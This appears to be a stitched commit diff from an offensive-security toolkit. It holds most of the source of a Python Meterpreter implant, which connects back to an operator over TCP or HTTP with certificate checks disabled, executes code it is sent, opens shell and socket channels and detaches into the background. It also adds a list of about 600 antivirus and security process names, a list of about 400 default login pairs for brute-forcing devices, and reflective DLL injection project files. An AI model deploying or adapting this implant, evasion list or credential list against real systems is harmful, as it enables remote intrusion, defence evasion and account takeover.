#@export
class STDProcess(subprocess.Popen):
def __init__(self, *args, **kwargs):
subprocess.Popen.__init__(self, *args, **kwargs)
self.echo_protection = False
def start(self):
self.stdout_reader = STDProcessBuffer(self.stdout, lambda: self.poll() == None)
self.stdout_reader.start()
self.stderr_reader = STDProcessBuffer(self.stderr, lambda: self.poll() == None)
self.stderr_reader.start()
def write(self, channel_data):
self.stdin.write(channel_data)
self.stdin.flush()
if self.echo_protection:
end_time = time.time() + 0.5
out_data = bytes()
while (time.time() < end_time) and (out_data != channel_data):
if self.stdout_reader.is_read_ready():
out_data = self.stdout_reader.peek(len(channel_data))
if out_data == channel_data:
self.stdout_reader.read(len(channel_data))
export(STDProcess)
class PythonMeterpreter(object):
def __init__(self, socket=None):
self.socket = socket
self.driver = None
self.running = False
self.communications_active = True
self.communications_last = 0
if self.socket:
self.driver = 'tcp'
elif HTTP_CONNECTION_URL:
self.driver = 'http'
self.last_registered_extension = None
self.extension_functions = {}
self.channels = {}
self.interact_channels = []
self.processes = {}
for func in list(filter(lambda x: x.startswith('_core'), dir(self))):
self.extension_functions[func[1:]] = getattr(self, func)
if self.driver:
if hasattr(self, 'driver_init_' + self.driver):
getattr(self, 'driver_init_' + self.driver)()
self.running = True
def debug_print(self, msg):
if DEBUGGING:
print(msg)
def driver_init_http(self):
opener_args = []
scheme = HTTP_CONNECTION_URL.split(':', 1)[0]
if scheme == 'https' and ((sys.version_info[0] == 2 and sys.version_info >= (2,7,9)) or sys.version_info >= (3,4,3)):
import ssl
ssl_ctx = ssl.SSLContext(ssl.PROTOCOL_SSLv23)
ssl_ctx.check_hostname=False
ssl_ctx.verify_mode=ssl.CERT_NONE
opener_args.append(urllib.HTTPSHandler(0, ssl_ctx))
if HTTP_PROXY:
opener_args.append(urllib.ProxyHandler({scheme: HTTP_PROXY}))
opener = urllib.build_opener(*opener_args)
if HTTP_USER_AGENT:
opener.addheaders = [('User-Agent', HTTP_USER_AGENT)]
urllib.install_opener(opener)
self._http_last_seen = time.time()
self._http_request_headers = {'Content-Type': 'application/octet-stream'}
def register_extension(self, extension_name):
self.last_registered_extension = extension_name
return self.last_registered_extension
def register_function(self, func):
self.extension_functions[func.__name__] = func
return func
def register_function_windll(self, func):
if has_windll:
self.register_function(func)
return func
def add_channel(self, channel):
assert(isinstance(channel, (subprocess.Popen, MeterpreterFile, MeterpreterSocket)))
idx = 0
while idx in self.channels:
idx += 1
self.channels[idx] = channel
return idx
def add_process(self, process):
idx = 0
while idx in self.processes:
idx += 1
self.processes[idx] = process
return idx
def get_packet(self):
packet = getattr(self, 'get_packet_' + self.driver)()
self.communications_last = time.time()
if packet:
self.communications_active = True
return packet
def send_packet(self, packet):
getattr(self, 'send_packet_' + self.driver)(packet)
self.communications_last = time.time()
self.communications_active = True
def get_packet_http(self):
packet = None
request = urllib.Request(HTTP_CONNECTION_URL, bytes('RECV', 'UTF-8'), self._http_request_headers)
try:
url_h = urllib.urlopen(request)
packet = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
if packet:
packet = packet[8:]
else:
packet = None
return packet
def send_packet_http(self, packet):
request = urllib.Request(HTTP_CONNECTION_URL, packet, self._http_request_headers)
try:
url_h = urllib.urlopen(request)
response = url_h.read()
except:
if (time.time() - self._http_last_seen) > HTTP_COMMUNICATION_TIMEOUT:
self.running = False
else:
self._http_last_seen = time.time()
def get_packet_tcp(self):
packet = None
if len(select.select([self.socket], [], [], 0.5)[0]):
packet = self.socket.recv(8)
if len(packet) != 8:
self.running = False
return None
pkt_length, pkt_type = struct.unpack('>II', packet)
pkt_length -= 8
packet = bytes()
while len(packet) < pkt_length:
packet += self.socket.recv(pkt_length - len(packet))
return packet
def send_packet_tcp(self, packet):
self.socket.send(packet)
def run(self):
while self.running:
request = None
should_get_packet = self.communications_active or ((time.time() - self.communications_last) > 0.5)
self.communications_active = False
if should_get_packet:
request = self.get_packet()
if request:
response = self.create_response(request)
self.send_packet(response)
else:
# iterate over the keys because self.channels could be modified if one is closed
channel_ids = list(self.channels.keys())
for channel_id in channel_ids:
channel = self.channels[channel_id]
data = bytes()
if isinstance(channel, STDProcess):
if not channel_id in self.interact_channels:
continue
if channel.stderr_reader.is_read_ready():
data = channel.stderr_reader.read()
elif channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read()
elif channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
elif isinstance(channel, MeterpreterSocketClient):
while len(select.select([channel.fileno()], [], [], 0)[0]):
try:
d = channel.recv(1)
except socket.error:
d = bytes()
if len(d) == 0:
self.handle_dead_resource_channel(channel_id)
break
data += d
elif isinstance(channel, MeterpreterSocketServer):
if len(select.select([channel.fileno()], [], [], 0)[0]):
(client_sock, client_addr) = channel.accept()
server_addr = channel.getsockname()
client_channel_id = self.add_channel(MeterpreterSocketClient(client_sock))
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'tcp_channel_open')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, client_channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_PARENTID, channel_id)
pkt += tlv_pack(TLV_TYPE_LOCAL_HOST, inet_pton(channel.family, server_addr[0]))
pkt += tlv_pack(TLV_TYPE_LOCAL_PORT, server_addr[1])
pkt += tlv_pack(TLV_TYPE_PEER_HOST, inet_pton(client_sock.family, client_addr[0]))
pkt += tlv_pack(TLV_TYPE_PEER_PORT, client_addr[1])
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
if data:
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_write')
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
pkt += tlv_pack(TLV_TYPE_LENGTH, len(data))
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def handle_dead_resource_channel(self, channel_id):
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
pkt = struct.pack('>I', PACKET_TYPE_REQUEST)
pkt += tlv_pack(TLV_TYPE_METHOD, 'core_channel_close')
pkt += tlv_pack(TLV_TYPE_REQUEST_ID, generate_request_id())
pkt += tlv_pack(TLV_TYPE_CHANNEL_ID, channel_id)
pkt = struct.pack('>I', len(pkt) + 4) + pkt
self.send_packet(pkt)
def _core_uuid(self, request, response):
response += tlv_pack(TLV_TYPE_UUID, PAYLOAD_UUID)
return ERROR_SUCCESS, response
def _core_machine_id(self, request, response):
def get_hdd_label():
for _, _, files in os.walk('/dev/disk/by-id/'):
for f in files:
for p in ['ata-', 'mb-']:
if f[:len(p)] == p:
return f[len(p):]
return ""
serial = ''
machine_name = platform.uname()[1]
if has_windll:
from ctypes import wintypes
k32 = ctypes.windll.kernel32
sys_dir = ctypes.create_unicode_buffer(260)
if not k32.GetSystemDirectoryW(ctypes.byref(sys_dir), 260):
return ERROR_FAILURE_WINDOWS
vol_buf = ctypes.create_unicode_buffer(260)
fs_buf = ctypes.create_unicode_buffer(260)
serial_num = wintypes.DWORD(0)
if not k32.GetVolumeInformationW(ctypes.c_wchar_p(sys_dir.value[:3]),
vol_buf, ctypes.sizeof(vol_buf), ctypes.byref(serial_num), None,
None, fs_buf, ctypes.sizeof(fs_buf)):
return ERROR_FAILURE_WINDOWS
serial_num = serial_num.value
serial = "{0:04x}-{1:04x}".format((serial_num >> 16) & 0xFFFF, serial_num & 0xFFFF)
else:
serial = get_hdd_label()
response += tlv_pack(TLV_TYPE_MACHINE_ID, "%s:%s" % (serial, machine_name))
return ERROR_SUCCESS, response
def _core_loadlib(self, request, response):
data_tlv = packet_get_tlv(request, TLV_TYPE_DATA)
if (data_tlv['type'] & TLV_META_TYPE_COMPRESSED) == TLV_META_TYPE_COMPRESSED:
return ERROR_FAILURE
self.last_registered_extension = None
symbols_for_extensions = {'meterpreter':self}
symbols_for_extensions.update(EXPORTED_SYMBOLS)
i = code.InteractiveInterpreter(symbols_for_extensions)
i.runcode(compile(data_tlv['value'], '', 'exec'))
extension_name = self.last_registered_extension
if extension_name:
check_extension = lambda x: x.startswith(extension_name)
lib_methods = list(filter(check_extension, list(self.extension_functions.keys())))
for method in lib_methods:
response += tlv_pack(TLV_TYPE_METHOD, method)
return ERROR_SUCCESS, response
def _core_shutdown(self, request, response):
response += tlv_pack(TLV_TYPE_BOOL, True)
self.running = False
return ERROR_SUCCESS, response
def _core_channel_open(self, request, response):
channel_type = packet_get_tlv(request, TLV_TYPE_CHANNEL_TYPE)
handler = 'channel_open_' + channel_type['value']
if handler not in self.extension_functions:
return error_result(NotImplementedError), response
handler = self.extension_functions[handler]
return handler(request, response)
def _core_channel_close(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
if isinstance(channel, subprocess.Popen):
channel.kill()
elif isinstance(channel, MeterpreterFile):
channel.close()
elif isinstance(channel, MeterpreterSocket):
channel.close()
else:
return ERROR_FAILURE, response
del self.channels[channel_id]
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_eof(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
result = False
if isinstance(channel, MeterpreterFile):
result = channel.tell() >= os.fstat(channel.fileno()).st_size
response += tlv_pack(TLV_TYPE_BOOL, result)
return ERROR_SUCCESS, response
def _core_channel_interact(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
toggle = packet_get_tlv(request, TLV_TYPE_BOOL)['value']
if toggle:
if channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
else:
self.interact_channels.append(channel_id)
elif channel_id in self.interact_channels:
self.interact_channels.remove(channel_id)
return ERROR_SUCCESS, response
def _core_channel_read(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
data = ''
if isinstance(channel, STDProcess):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
if channel.stdout_reader.is_read_ready():
data = channel.stdout_reader.read(length)
elif isinstance(channel, MeterpreterFile):
data = channel.read(length)
elif isinstance(channel, MeterpreterSocket):
data = channel.recv(length)
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_CHANNEL_DATA, data)
return ERROR_SUCCESS, response
def _core_channel_write(self, request, response):
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
channel_data = packet_get_tlv(request, TLV_TYPE_CHANNEL_DATA)['value']
length = packet_get_tlv(request, TLV_TYPE_LENGTH)['value']
if channel_id not in self.channels:
return ERROR_FAILURE, response
channel = self.channels[channel_id]
l = len(channel_data)
if isinstance(channel, subprocess.Popen):
if channel.poll() != None:
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
channel.write(channel_data)
elif isinstance(channel, MeterpreterFile):
channel.write(channel_data)
elif isinstance(channel, MeterpreterSocket):
try:
l = channel.send(channel_data)
except socket.error:
channel.close()
self.handle_dead_resource_channel(channel_id)
return ERROR_FAILURE, response
else:
return ERROR_FAILURE, response
response += tlv_pack(TLV_TYPE_LENGTH, l)
return ERROR_SUCCESS, response
def create_response(self, request):
resp = struct.pack('>I', PACKET_TYPE_RESPONSE)
method_tlv = packet_get_tlv(request, TLV_TYPE_METHOD)
resp += tlv_pack(method_tlv)
reqid_tlv = packet_get_tlv(request, TLV_TYPE_REQUEST_ID)
resp += tlv_pack(reqid_tlv)
handler_name = method_tlv['value']
if handler_name in self.extension_functions:
handler = self.extension_functions[handler_name]
try:
self.debug_print('[*] running method ' + handler_name)
result, resp = handler(request, resp)
except Exception:
self.debug_print('[-] method ' + handler_name + ' resulted in an error')
if DEBUGGING:
traceback.print_exc(file=sys.stderr)
result = error_result()
else:
self.debug_print('[-] method ' + handler_name + ' was requested but does not exist')
result = error_result(NotImplementedError)
resp += tlv_pack(TLV_TYPE_RESULT, result)
resp = struct.pack('>I', len(resp) + 4) + resp
return resp
if not hasattr(os, 'fork') or (hasattr(os, 'fork') and os.fork() == 0):
if hasattr(os, 'setsid'):
try:
os.setsid()
except OSError:
pass
if HTTP_CONNECTION_URL and has_urllib:
met = PythonMeterpreter()
else:
met = PythonMeterpreter(s)
met.run()

View File

@ -178,7 +178,7 @@
<body>
<div class="windowa" id="windowa">
<b>You peer</b>
<b>Your peer</b>
</div>
<div class="dot1"></div>

View File

@ -0,0 +1,614 @@
emet_agent.exe
emet_service.exe
firesvc.exe
firetray.exe
hipsvc.exe
mfevtps.exe
mcafeefire.exe
scan32.exe
shstat.exe
tbmon.exe
vstskmgr.exe
engineserver.exe
mfevtps.exe
mfeann.exe
mcscript.exe
updaterui.exe
udaterui.exe
naprdmgr.exe
frameworkservice.exe
cleanup.exe
cmdagent.exe
frminst.exe
mcscript_inuse.exe
mctray.exe
mcshield.exe
AAWTray.exe
Ad-Aware.exe
MSASCui.exe
_avp32.exe
_avpcc.exe
_avpm.exe
aAvgApi.exe
ackwin32.exe
adaware.exe
advxdwin.exe
agentsvr.exe
agentw.exe
alertsvc.exe
alevir.exe
alogserv.exe
amon9x.exe
anti-trojan.exe
antivirus.exe
ants.exe
apimonitor.exe
aplica32.exe
apvxdwin.exe
arr.exe
atcon.exe
atguard.exe
atro55en.exe
atupdater.exe
atwatch.exe
au.exe
aupdate.exe
auto-protect.nav80try.exe
autodown.exe
autotrace.exe
autoupdate.exe
avconsol.exe
ave32.exe
avgcc32.exe
avgctrl.exe
avgemc.exe
avgnt.exe
avgrsx.exe
avgserv.exe
avgserv9.exe
avguard.exe
avgw.exe
avkpop.exe
avkserv.exe
avkservice.exe
avkwctl9.exe
avltmain.exe
avnt.exe
avp.exe
avp.exe
avp32.exe
avpcc.exe
avpdos32.exe
avpm.exe
avptc32.exe
avpupd.exe
avsched32.exe
avsynmgr.exe
avwin.exe
avwin95.exe
avwinnt.exe
avwupd.exe
avwupd32.exe
avwupsrv.exe
avxmonitor9x.exe
avxmonitornt.exe
avxquar.exe
backweb.exe
bargains.exe
bd_professional.exe
beagle.exe
belt.exe
bidef.exe
bidserver.exe
bipcp.exe
bipcpevalsetup.exe
bisp.exe
blackd.exe
blackice.exe
blink.exe
blss.exe
bootconf.exe
bootwarn.exe
borg2.exe
bpc.exe
brasil.exe
bs120.exe
bundle.exe
bvt.exe
ccapp.exe
ccevtmgr.exe
ccpxysvc.exe
ccsvchst.exe
cdp.exe
cfd.exe
cfgwiz.exe
cfiadmin.exe
cfiaudit.exe
cfinet.exe
cfinet32.exe
claw95.exe
claw95cf.exe
clean.exe
cleaner.exe
cleaner3.exe
cleanpc.exe
click.exe
cmesys.exe
cmgrdian.exe
cmon016.exe
connectionmonitor.exe
cpd.exe
cpf9x206.exe
cpfnt206.exe
ctrl.exe
cv.exe
cwnb181.exe
cwntdwmo.exe
datemanager.exe
dcomx.exe
defalert.exe
defscangui.exe
defwatch.exe
deputy.exe
divx.exe
dllcache.exe
dllreg.exe
doors.exe
dpf.exe
dpfsetup.exe
dpps2.exe
drwatson.exe
drweb32.exe
drwebupw.exe
dssagent.exe
dvp95.exe
dvp95_0.exe
ecengine.exe
efpeadm.exe
emsw.exe
ent.exe
esafe.exe
escanhnt.exe
escanv95.exe
espwatch.exe
ethereal.exe
etrustcipe.exe
evpn.exe
exantivirus-cnet.exe
exe.avxw.exe
expert.exe
explore.exe
f-agnt95.exe
f-prot.exe
f-prot95.exe
f-stopw.exe
fameh32.exe
fast.exe
fch32.exe
fih32.exe
findviru.exe
firewall.exe
fnrb32.exe
fp-win.exe
fp-win_trial.exe
fprot.exe
frw.exe
fsaa.exe
fsav.exe
fsav32.exe
fsav530stbyb.exe
fsav530wtbyb.exe
fsav95.exe
fsgk32.exe
fsm32.exe
fsma32.exe
fsmb32.exe
gator.exe
gbmenu.exe
gbpoll.exe
generics.exe
gmt.exe
guard.exe
guarddog.exe
hacktracersetup.exe
hbinst.exe
hbsrv.exe
hotactio.exe
hotpatch.exe
htlog.exe
htpatch.exe
hwpe.exe
hxdl.exe
hxiul.exe
iamapp.exe
iamserv.exe
iamstats.exe
ibmasn.exe
ibmavsp.exe
icload95.exe
icloadnt.exe
icmon.exe
icsupp95.exe
icsuppnt.exe
idle.exe
iedll.exe
iedriver.exe
iface.exe
ifw2000.exe
inetlnfo.exe
infus.exe
infwin.exe
init.exe
intdel.exe
intren.exe
iomon98.exe
istsvc.exe
jammer.exe
jdbgmrg.exe
jedi.exe
kavlite40eng.exe
kavpers40eng.exe
kavpf.exe
kazza.exe
keenvalue.exe
kerio-pf-213-en-win.exe
kerio-wrl-421-en-win.exe
kerio-wrp-421-en-win.exe
kernel32.exe
killprocesssetup161.exe
launcher.exe
ldnetmon.exe
ldpro.exe
ldpromenu.exe
ldscan.exe
lnetinfo.exe
loader.exe
localnet.exe
lockdown.exe
lockdown2000.exe
lookout.exe
lordpe.exe
lsetup.exe
luall.exe
luau.exe
lucomserver.exe
luinit.exe
luspt.exe
mapisvc32.exe
mcagent.exe
mcmnhdlr.exe
mcshield.exe
mctool.exe
mcupdate.exe
mcvsrte.exe
mcvsshld.exe
md.exe
mfin32.exe
mfw2en.exe
mfweng3.02d30.exe
mgavrtcl.exe
mgavrte.exe
mghtml.exe
mgui.exe
minilog.exe
mmod.exe
monitor.exe
moolive.exe
mostat.exe
mpfagent.exe
mpfservice.exe
mpftray.exe
mrflux.exe
msapp.exe
msbb.exe
msblast.exe
mscache.exe
msccn32.exe
mscman.exe
msconfig.exe
msdm.exe
msdos.exe
msiexec16.exe
msinfo32.exe
mslaugh.exe
msmgt.exe
msmsgri32.exe
mssmmc32.exe
mssys.exe
msvxd.exe
mu0311ad.exe
mwatch.exe
n32scanw.exe
nav.exe
navap.navapsvc.exe
navapsvc.exe
navapw32.exe
navdx.exe
navlu32.exe
navnt.exe
navstub.exe
navw32.exe
navwnt.exe
nc2000.exe
ncinst4.exe
ndd32.exe
neomonitor.exe
neowatchlog.exe
netarmor.exe
netd32.exe
netinfo.exe
netmon.exe
netscanpro.exe
netspyhunter-1.2.exe
netstat.exe
netutils.exe
nisserv.exe
nisum.exe
nmain.exe
nod32.exe
normist.exe
norton_internet_secu_3.0_407.exe
notstart.exe
npf40_tw_98_nt_me_2k.exe
npfmessenger.exe
nprotect.exe
npscheck.exe
npssvc.exe
nsched32.exe
nssys32.exe
nstask32.exe
nsupdate.exe
nt.exe
ntrtscan.exe
ntvdm.exe
ntxconfig.exe
nui.exe
nupgrade.exe
nvarch16.exe
nvc95.exe
nvsvc32.exe
nwinst4.exe
nwservice.exe
nwtool16.exe
ollydbg.exe
onsrvr.exe
optimize.exe
ostronet.exe
otfix.exe
outpost.exe
outpostinstall.exe
outpostproinstall.exe
padmin.exe
panixk.exe
patch.exe
pavcl.exe
pavproxy.exe
pavsched.exe
pavw.exe
pccwin98.exe
pcfwallicon.exe
pcip10117_0.exe
pcscan.exe
pdsetup.exe
periscope.exe
persfw.exe
perswf.exe
pf2.exe
pfwadmin.exe
pgmonitr.exe
pingscan.exe
platin.exe
pop3trap.exe
poproxy.exe
popscan.exe
portdetective.exe
portmonitor.exe
powerscan.exe
ppinupdt.exe
pptbc.exe
ppvstop.exe
prizesurfer.exe
prmt.exe
prmvr.exe
procdump.exe
processmonitor.exe
procexplorerv1.0.exe
programauditor.exe
proport.exe
protectx.exe
pspf.exe
purge.exe
qconsole.exe
qserver.exe
rapapp.exe
rav7.exe
rav7win.exe
rav8win32eng.exe
ray.exe
rb32.exe
rcsync.exe
realmon.exe
reged.exe
regedit.exe
regedt32.exe
rescue.exe
rescue32.exe
rrguard.exe
rshell.exe
rtvscan.exe
rtvscn95.exe
rulaunch.exe
run32dll.exe
rundll.exe
rundll16.exe
ruxdll32.exe
safeweb.exe
sahagent.exescan32.exe
shstat.exe
tbmon.exe
vstskmgr.exe
engineserver.exe
mfevtps.exe
mfeann.exe
mcscript.exe
updaterui.exe
udaterui.exe
naprdmgr.exe
frameworkservice.exe
cleanup.exe
cmdagent.exe
frminst.exe
mcscript_inuse.exe
mctray.exe
mcshield.exe
save.exe
savenow.exe
sbserv.exe
sc.exe
scam32.exe
scan32.exe
scan95.exe
scanpm.exe
scrscan.exe
serv95.exe
setup_flowprotector_us.exe
setupvameeval.exe
sfc.exe
sgssfw32.exe
sh.exe
shellspyinstall.exe
shn.exe
showbehind.exe
smc.exe
sms.exe
smss32.exe
soap.exe
sofi.exe
sperm.exe
spf.exe
sphinx.exe
spoler.exe
spoolcv.exe
spoolsv32.exe
spyxx.exe
srexe.exe
srng.exe
ss3edit.exe
ssg_4104.exe
ssgrate.exe
st2.exe
start.exe
stcloader.exe
supftrl.exe
support.exe
supporter5.exe
svchostc.exe
svchosts.exe
sweep95.exe
sweepnet.sweepsrv.sys.swnetsup.exe
symproxysvc.exe
symtray.exe
sysedit.exe
sysupd.exe
taskmg.exe
taskmo.exe
taumon.exe
tbscan.exe
tc.exe
tca.exe
tcm.exe
tds-3.exe
tds2-98.exe
tds2-nt.exe
teekids.exe
tfak.exe
tfak5.exe
tgbob.exe
titanin.exe
titaninxp.exe
tracert.exe
trickler.exe
trjscan.exe
trjsetup.exe
trojantrap3.exe
tsadbot.exe
tvmd.exe
tvtmd.exe
undoboot.exe
updat.exe
update.exe
upgrad.exe
utpost.exe
vbcmserv.exe
vbcons.exe
vbust.exe
vbwin9x.exe
vbwinntw.exe
vcsetup.exe
vet32.exe
vet95.exe
vettray.exe
vfsetup.exe
vir-help.exe
virusmdpersonalfirewall.exe
vnlan300.exe
vnpc3000.exe
vpc32.exe
vpc42.exe
vpfw30s.exe
vptray.exe
vscan40.exe
vscenu6.02d30.exe
vsched.exe
vsecomr.exe
vshwin32.exe
vsisetup.exe
vsmain.exe
vsmon.exe
vsstat.exe
vswin9xe.exe
vswinntse.exe
vswinperse.exe
w32dsm89.exe
w9x.exe
watchdog.exe
webdav.exe
webscanx.exe
webtrap.exe
wfindv32.exe
whoswatchingme.exe
wimmun32.exe
win-bugsfix.exe
win32.exe
win32us.exe
winactive.exe
window.exe
windows.exe
wininetd.exe
wininitx.exe
winlogin.exe
winmain.exe
winnet.exe
winppr32.exe
winrecon.exe
winservn.exe
winssk32.exe
winstart.exe
winstart001.exe
wintsk32.exe
winupdate.exe
wkufind.exe
wnad.exe
wnt.exe
wradmin.exe
wrctrl.exe
wsbgate.exe
wupdater.exe
wupdt.exe
wyvernworksfirewall.exe
xpf202en.exe
zapro.exe
zapsetup3001.exe
zatutor.exe
zonalm2601.exe
zonealarm.exe

View File

@ -0,0 +1,415 @@
root
admin
guest
root root
root password
root 1234
root 12345
root 123456
root 3ep5w2u
root admin
root Admin
root admin_1
root alpine
root ascend
root attack
root blender
root calvin
root changeme
root Cisco
root cms500
root davox
root default
root fivranne
root ggdaseuaimhrke
root iDirect
root letacla
root Mau'dib
root pass
root permit
root ROOT500
root tini
root tslinux
root wyse
ro ro
router router
rwa rwa
rw rw
ubnt ubnt
guest guest
guest User
admin 0
admin 0000
admin 1111
admin 123
admin 1234
admin 123456
admin 1234admin
admin 2222
admin 22222
admin2 changeme
admin 3477
admin 3ascotel
admin 9999
admin access
admin admin
admin Admin
Admin admin
admin admin123
admin adminttd
admin adslolitec
admin adslroot
admin adtran
admin AitbISP4eCiG
admin articon
admin asante
admin ascend
admin Ascend
admin asd
admin atc123
admin atlantis
admin backdoor
admin barricade
admin barricadei
admin bintec
admin BRIDGE
admin cableroot
admin changeme
admin cisco
admin _Cisco
admin comcomcom
admin conexant
admin default
admin diamond
admin enter
admin epicrouter
admin extendnet
admin giraff
admin hagpolm1
admin hello
admin help
admin hp.com
admin Intel
admin ironport
admin isee
acc acc
adfexc adfexc
adm
admin kont2004
admin letmein
admin leviton
admin linga
admin michelangelo
admin microbusiness
admin MiniAP
admin motorola
admin mu
admin my_DEMARC
admin netadmin
admin NetCache
admin NetICs
admin noway
admin OCS
admin operator
admin P@55w0rd!
admin password
admin p-assword
admin PASSWORD
admin passwort
admin pento
admin pfsense
admin private
admin Protector
admin public
admin pwp
admin radius
admin rmnetlm
admin root
admin secure
admin setup
admin sitecom
admin smallbusiness
admin smcadmin
admin SMDR
admin speedxess
admin SUPER
admin superuser
admin switch
admin Symbol
admin synnet
admin sysAdmin
admin system
admin TANDBERG
admin visual
admin w2402
admin xad$|#12
admin xad$l#12
admin zoomadsl
system change_on_install
system/manager sys/change_on_install
system password
system sys
adminttd adminttd
adminuser OCS
adminview OCS
adminstat OCS
adminstrator changeme
Administrator 3ware
Administrator admin
administrator administrator
ADMINISTRATOR ADMINISTRATOR
administrator changeme
Administrator changeme
Administrator ganteng
Administrator letmein
Administrator password
Administrator pilou
Administrator smcadmin
ADMN admn
ami
anonymous any@
anonymous Exabyte
Any 12345
apc apc
at4400 at4400
bbsd-client changeme2
bbsd-client NULL
bciim bciimpw
bcim bcimpw
bcms bcmspw
bcnas bcnaspw
bcnas pcnaspw
blue bluepw
browse browsepw
browse looker
cablecom router
cablemodem robotics
cac_admin cacadmin
cas cascade
ccrusr ccrusr
cellit cellit
cgadmin cgadmin
cisco
cisco cisco
Cisco Cisco
citel citel
client client
cmaker cmaker
comcast 1234
corecess corecess
craft
craft craft
craft craftpw
craft crftpw
CSG SESAME
cusadmin highspeed
cust custpw
customer
customer none
dadmin dadmin01
davox davox
debug d.e.b.u.g
debug synnet
deskalt password
deskman changeme
desknorm password
deskres password
device device
dhs3mt dhs3mt
dhs3pms dhs3pms
diag danger
diag switch
disttech 4tas
D-Link D-Link
draytek 1234
DTA TJM
e250 e250changeme
e500 e500changeme
echo echo
echo User
enable
eng engineer
enquiry enquirypw
field support
GEN1 gen1
GEN2 gen2
GlobalAdmin GlobalAdmin
halt tlah
helpdesk OCS
hsa hsadb
hscroot abc123
HTTP HTTP
hydrasna
iclock timely
images images
inads inads
inads indspw
init initpw
installer installer
install llatsni
install secret
intel intel
intermec intermec
intermec intermec1QTPS
IntraStack Asante
IntraSwitch Asante
jagadmin
JDE JDE
kermit kermit
l2 l2
l3 l3
locate locatepw
login 0
login 1111
login 8429
login access
login admin
login password
lp lp
LUCENT01 UI-PSWD-01
LUCENT02 UI-PSWD-02
m1122 m1122
mac
maint maint
maint maintpw
maint ntacdmax
maint rwmaint
manage !manage
manager admin
manager change_on_install
manager friend
Manager friend
manager manager
Manager Manager
manager sys
manuf xxyyzz
MDaemon MServer
mediator mediator
MICRO RSX
mlusr mlusr
monitor monitor
mtch mtch
mtcl
mtcl mtcl
naadmin naadmin
NAU NAU
netangr attack
netman
netman netman
netopia netopia
netrangr attack
netscreen netscreen
NETWORK NETWORK
NICONEX NICONEX
nms nmspw
nokai nokai
nokia nokia
none 0
none admin
operator
operator 1234
operator $chwarzepumpe
operator operator
op op
op operator
patrol patrol
PBX PBX
PFCUser 240653C9467E45
piranha piranha
piranha q
pmd
poll tech
Polycom SpIp
PRODDTA PRODDTA
PSEAdmin $secure$
public
public public
radware radware
rapport r@p8p0r+
rcust rcustpw
readonly lucenttech2
readwrite lucenttech1
recovery recovery
replicator replicator
RMUser1 password
sa
scmadmin scmchangeme
scout scout
secret secret
secure secure
security security
service smile
setup changeme
setup changeme!
setup setup
smc smcadmin
spcl 0
storwatch specialist
stratacom stratauser
super 5777364
superadmin secret
superman 21241036
superman talent
super super
super.super
super.super master
super surt
superuser
superuser 123456
superuser admin
supervisor PlsChgMe!
supervisor PlsChgMe1
supervisor supervisor
support h179350
support support
support supportpw
su super
Sweex Mysweex
sysadm Admin
sysadm anicust
sysadmin PASS
sysadmin password
sysadmin sysadmin
sysadm PASS
sysadm sysadm
SYSADM sysadm
sys uplink
target password
teacher password
tech
tech ANYCOM
tech field
tech ILMI
tech tech
telco telco
telecom telecom
tellabs tellabs#1
temp1 password
test test
tiara tiaranet
tiger tiger123
topicalt password
topicnorm password
topicres password
user
USERID PASSW0RD
user pass
user password
User Password
user public
user tivonpw
user user
vcr NetVCR
VNC winterm
volition volition
vt100 public
VTech VTech
webadmin 1234
webadmin webadmin
websecadm changeme
wlse wlsedb
wradmin trancell
write private
xd xd
xxx cascade
ZXDSL ZXDSL

View File

@ -0,0 +1,17 @@
Release/
Debug/
x64/
dll/Release/
dll/Debug/
dll/reflective_dll.vcproj.*.user
dll/reflective_dll.vcxproj.user
inject/Release/
inject/Debug/
inject/inject.vcproj.*.user
inject/inject.vcxproj.user
*.ncb
*.suo
*.sdf
*.opensdf
*.suo
bin/

View File

@ -0,0 +1,25 @@
Copyright (c) 2011, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
All rights reserved.
Redistribution and use in source and binary forms, with or without modification, are permitted
provided that the following conditions are met:
* Redistributions of source code must retain the above copyright notice, this list of
conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright notice, this list of
conditions and the following disclaimer in the documentation and/or other materials provided
with the distribution.
* Neither the name of Harmony Security nor the names of its contributors may be used to
endorse or promote products derived from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
